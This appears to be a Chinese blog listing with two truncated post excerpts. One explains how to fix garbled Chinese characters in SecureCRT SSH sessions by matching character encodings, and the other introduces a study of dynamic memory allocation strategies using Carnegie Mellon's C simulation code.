SecureCRT是一个商业终端连接工具,支持多种自定义设置。默认设置下,通过SecureCRT连接SSH服务器可能出现中文乱码的情况。这是由于SecureCRT字符编码与服务器的字符编码不一致造成的。解决:将SecureCRT字符编码设置成与服务器的字符编码一致即可,将SecureCRT字符编码设置成…

动态内存分配的策略研究

使用Carnegie Mellon University提供的C语言模拟代码为测试,验证多种分配策略的特性,为设计新的更高效的算法进行探路,工程文件附于文章末尾。 基本宏定义 阅读C语言测试模型,得到基本分配块的结构约定。#define ALIGNMENT 8 //校准字长,4或8 #define ALIGN(size…